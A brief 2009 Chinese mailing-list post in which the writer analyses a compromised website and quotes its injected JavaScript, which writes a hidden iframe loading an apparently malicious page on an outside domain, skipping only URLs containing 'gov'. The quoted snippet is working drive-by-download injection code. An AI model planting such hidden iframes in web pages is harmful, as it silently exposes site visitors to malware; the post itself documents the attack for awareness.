今天碰到一挂马网站，随手分析了下，挂马代码比较有意思
if(document.location.href.indexOf("gov")>=0)
{} else {document.write("<div style='display:none'>")
document.write("<iframe src=http://www.ya-d1.cn/5/index.html></iframe>")
document.write("</div>")}
看来小黑们还是怕gov啊。
--------------
xunixos
2009-06-22
--~--~---------~--~----~------------~-------~--~----~
要向邮件组发送邮件，请发到 [email protected]
要退订此邮件，请发邮件至 [email protected]
-~----------~----~----~----~------~----~------~--~---
